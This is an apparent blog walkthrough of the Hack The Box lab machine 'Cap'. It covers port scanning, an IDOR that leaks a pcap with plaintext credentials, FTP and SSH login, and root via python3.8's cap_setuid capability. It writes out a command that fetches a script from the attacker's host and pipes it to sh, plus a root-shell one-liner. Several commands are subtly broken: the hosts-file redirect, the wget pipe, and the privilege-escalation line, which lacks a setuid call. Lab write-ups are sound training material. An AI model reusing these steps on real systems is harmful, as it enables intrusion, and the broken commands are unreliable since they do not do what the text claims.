Box Info

Box Information

Attribute Details
Level Easy
OS Linux
Box URL https://app.hackthebox.com/machines/Cap
Box Status Retired
About Box Cap is an easy difficulty Linux machine running an HTTP server that performs administrative functions, including performing network captures. Improper controls result in Insecure Direct Object Reference (IDOR), giving access to another user’s capture. The capture contains plaintext credentials and can be used to gain foothold. A Linux capability is then leveraged to escalate to root.

Footprinting

Nmap

Let’s start with scanning the machine IP with nmap to check what are the services are running on different ports!

> nmap -p- --min-rate 10000 10.10.10.245
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-04 19:52 IST
Warning: 10.10.10.245 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.245
Host is up (0.22s latency).
Not shown: 65419 closed tcp ports (conn-refused), 113 filtered tcp ports (no-response)
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 25.15 seconds

> nmap -sCV -p 21,22,80 10.10.10.245
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-04 19:53 IST
Nmap scan report for 10.10.10.245
Host is up (0.23s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_  256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open  http    gunicorn
|_http-server-header: gunicorn
|_http-title: Security Dashboard
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 404 NOT FOUND
|     Server: gunicorn
|     Date: Mon, 04 Nov 2024 14:23:27 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 232
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest:
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Mon, 04 Nov 2024 14:23:19 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 19386
|     <!DOCTYPE html>
|     <html class="no-js" lang="en">
|     <head>
|     <meta charset="utf-8">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title>Security Dashboard</title>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <link rel="shortcut icon" type="image/png" href="/static/images/icon/favicon.ico">
|     <link rel="stylesheet" href="/static/css/bootstrap.min.css">
|     <link rel="stylesheet" href="/static/css/font-awesome.min.css">
|     <link rel="stylesheet" href="/static/css/themify-icons.css">
|     <link rel="stylesheet" href="/static/css/metisMenu.css">
|     <link rel="stylesheet" href="/static/css/owl.carousel.min.css">
|     <link rel="stylesheet" href="/static/css/slicknav.min.css">
|     <!-- amchar
|   HTTPOptions:
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Mon, 04 Nov 2024 14:23:20 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Allow: OPTIONS, GET, HEAD
|     Content-Length: 0
|   RTSPRequest:
|     HTTP/1.1 400 Bad Request
|     Connection: close
|     Content-Type: text/html
|     Content-Length: 196
|     <html>
|     <head>
|     <title>Bad Request</title>
|     </head>
|     <body>
|     <h1><p>Bad Request</p></h1>
|     Invalid HTTP Version &#x27;Invalid HTTP Version: &#x27;RTSP/1.0&#x27;&#x27;
|     </body>
|_    </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.94SVN%I=7%D=11/4%Time=6728D8D7%P=aarch64-unknown-linux-g
SF:nu%r(GetRequest,2F4C,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20gunicorn\r\n
SF:Date:\x20Mon,\x2004\x20Nov\x202024\x2014:23:19\x20GMT\r\nConnection:\x2
SF:0close\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Lengt
SF:h:\x2019386\r\n\r\n<!DOCTYPE\x20html>\n<html\x20class=\"no-js\"\x20lang
SF:=\"en\">\n\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x
SF:20\x20\x20<meta\x20http-equiv=\"x-ua-compatible\"\x20content=\"ie=edge\
SF:">\n\x20\x20\x20\x20<title>Security\x20Dashboard</title>\n\x20\x20\x20\
SF:x20<meta\x20name=\"viewport\"\x20content=\"width=device-width,\x20initi
SF:al-scale=1\">\n\x20\x20\x20\x20<link\x20rel=\"shortcut\x20icon\"\x20typ
SF:e=\"image/png\"\x20href=\"/static/images/icon/favicon\.ico\">\n\x20\x20
SF:\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"/static/css/bootstrap\.mi
SF:n\.css\">\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"/stati
SF:c/css/font-awesome\.min\.css\">\n\x20\x20\x20\x20<link\x20rel=\"stylesh
SF:eet\"\x20href=\"/static/css/themify-icons\.css\">\n\x20\x20\x20\x20<lin
SF:k\x20rel=\"stylesheet\"\x20href=\"/static/css/metisMenu\.css\">\n\x20\x
SF:20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"/static/css/owl\.carous
SF:el\.min\.css\">\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"
SF:/static/css/slicknav\.min\.css\">\n\x20\x20\x20\x20<!--\x20amchar")%r(H
SF:TTPOptions,B3,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20gunicorn\r\nDate:\x
SF:20Mon,\x2004\x20Nov\x202024\x2014:23:20\x20GMT\r\nConnection:\x20close\
SF:r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nAllow:\x20OPTIONS,\x
SF:20GET,\x20HEAD\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,121,"HTT
SF:P/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\nContent-Type
SF::\x20text/html\r\nContent-Length:\x20196\r\n\r\n<html>\n\x20\x20<head>\
SF:n\x20\x20\x20\x20<title>Bad\x20Request</title>\n\x20\x20</head>\n\x20\x
SF:20<body>\n\x20\x20\x20\x20<h1><p>Bad\x20Request</p></h1>\n\x20\x20\x20\
SF:x20Invalid\x20HTTP\x20Version\x20&#x27;Invalid\x20HTTP\x20Version:\x20&
SF:#x27;RTSP/1\.0&#x27;&#x27;\n\x20\x20</body>\n</html>\n")%r(FourOhFourRe
SF:quest,189,"HTTP/1\.0\x20404\x20NOT\x20FOUND\r\nServer:\x20gunicorn\r\nD
SF:ate:\x20Mon,\x2004\x20Nov\x202024\x2014:23:27\x20GMT\r\nConnection:\x20
SF:close\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length
SF::\x20232\r\n\r\n<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x2
SF:03\.2\x20Final//EN\">\n<title>404\x20Not\x20Found</title>\n<h1>Not\x20F
SF:ound</h1>\n<p>The\x20requested\x20URL\x20was\x20not\x20found\x20on\x20t
SF:he\x20server\.\x20If\x20you\x20entered\x20the\x20URL\x20manually\x20ple
SF:ase\x20check\x20your\x20spelling\x20and\x20try\x20again\.</p>\n");
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 145.37 seconds

We can see that machine has port 21,22 and 80 (3 TCP) ports are open.

Let’s add Cap host to our /etc/hosts file:

echo "cap.htb     10.10.10.245" > sudo tee -a /etc/hosts

Port 21 FTP

We tried to login into FTP as anonymous user since we don’t have username and password for any of the services.

ftp 10.10.10.245
Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
Name (10.10.10.245:pixel): anonymous
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failed

Port 22 SSH

We tried same thing for SSH. We login into ssh as anonymous but it’s also an failed attempt.

ssh anonymous@10.10.10.245
anonymous@10.10.10.245's password:
Permission denied, please try again.

Port 80 HTTP

It is running flask applicaiton that contains the Security Events, Faliled Login Attempts and Port Scan related detail.

Dashboard Preview

Applicaiton also contains the Security Snapshots that belongs to user Nathan. We can see the refernece from the machine description that we have to find IDOR somewhere in the application.

Download the Snapshot

As we can see that, URL contains the numeric ID for the Security Snapshot. We can change the ID and try to see we can access other user’s Security Snapshots or not!

IDOR

We changed the ID from 2 to 0 and as we can see result as Snapshot results are getting changed.

Download the pcap file and analzye it to see whether we can find anything interesting or not.

Wireshark

IDOR

We can see that, pcap file contains the network logs. After further analysis we found that it contains the user name and password of the user nathan. We can use this credentials to login into FTP and SSH.

We can use zeek tool to analyze the pcap file in easy way. Refers to Analyzing PCAP with Zeek - HTB Sherlocks - KnockKnock video by ippsec πŸ™Œ

Getting User shell

We already got the user credentials from the pcap file analysis. Which we can use into FTP first to see it’s valid credentials or not?

Credentials:

Username: nathan
Password: ###########

FTP Login

ftp cap.htb
Connected to cap.htb.
220 (vsFTPd 3.0.3)
Name (cap.htb:pixel): nathan
331 Please specify the password.
Password:
230 Login successful.

Run dir command to list the files and folders

ftp> dir
229 Entering Extended Passive Mode (|||13483|)
150 Here comes the directory listing.
-r--------    1 1001     1001           33 Nov 04 14:22 user.txt
226 Directory send OK.

Run the get command download the file and we can see we have our first user.txt flag with us..!

ftp> get user.txt

We are able to login into FTP using nathan’s credentials and we already have our first user.txt flag.

Getting Root shell

SSH Login

ssh nathan@cap.htb

Login into SSH to see we can find something innteresting in application code or any bash_history.

Reading the application code

Applicaiton-Code

The Web applicaiton’s code doesn’t contain anything intersting. We can move forward to Linpease to find any other ways of exploitation.

Linpease.sh

wget 10.10.15.20:8000/linpease.sh | sh

Interesting Output from linpease:

/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

Before, We jump into the explitation part we have to see what is cap_setuid and how it can be used for privilege escalation?

What is Capabilities and cap_setuid?

In Linux, capabilities are like permissions that let specific programs do things only the root (administrator) user usually can. Instead of giving full root access, capabilities let a program use just the parts of root access it needs. For example:

  • CAP_NET_BIND_SERVICE: Allows a program to use network ports usually reserved for root.
  • CAP_SETUID: Lets a program change its user ID (UID), essentially letting it switch users.

How can cap_setuid can be used for Privilege Escalation?

The cap_setuid capability is interesting because it lets a program switch its user ID to any user, including the root user.

How to find the programs with cap_setuid?

getcap -r / 2>/dev/null | grep cap_setuid

Command Explanation:

  1. “getcap” is the main command that finds and outputs the capabilities.
  2. “-r / " means to search recursively in the root directory, which means in the whole file system.
  3. “2>/dev/null” does not output any errors which mostly caused by inaccessible directories.

Get the Root

We already have get detailed information on how cap_setuid can be used for privilege escalation

/usr/bin/python3.8 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

Now, we have the root shell and we can read the flag..!

root@cap:~# cat /root/root.txt
###############################

Conclusion

Cap is an excellent machine for beginners as it teaches essential reconnaissance and basic privilege escalation techniques. The walkthrough covers every phase in detail, giving insights into each command used.

Key Takeaways

  • Thorough enumeration can reveal important information.
  • Pay attention to SUID binaries for privilege escalation.

References

Connect with Me